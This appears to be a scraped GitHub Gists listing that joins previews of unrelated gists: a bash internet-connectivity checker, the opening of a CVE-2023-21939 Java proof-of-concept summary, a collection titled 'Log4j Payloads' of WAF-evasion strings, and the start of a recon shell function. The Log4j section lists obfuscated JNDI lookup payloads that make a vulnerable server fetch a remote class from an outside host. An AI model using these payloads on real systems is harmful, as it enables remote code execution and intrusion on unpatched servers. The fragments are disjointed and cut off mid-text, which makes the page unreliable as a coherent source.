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#!/bin/bash
# URL to check for internet connectivity
URL="https://cp.cloudflare.com/generate_204"
INTERVAL=60 # Interval in seconds between checks
RETRIES=3 # Number of retries before concluding that the internet is down
RETRY_DELAY=1 # Delay in seconds between retries
CURL_TIMEOUT=1 # Curl timeout in seconds
# Function to check connectivity and measure latency
@win3zz
win3zz / CVE-2023-21939.md
Created August 27, 2023 12:33
CVE-2023-21939 - Code Exec - Proof of Concept

CVE-2023-21939 - Code Exec - Proof of Concept

Vulnerability Summary: Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specifie

@ZephrFish
ZephrFish / Log4j Payloads
Last active December 20, 2022 19:32
Collection of WAF evasion payloads
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
# the required tools
# subjs -> https://github.com/lc/subjs
# js-beautify -> https://github.com/beautify-web/js-beautify
# haklistgen -> https://github.com/hakluke/haklistgen
haklist() {
# declare TMPDIR variable
TMPDIR="/tmp/haklist"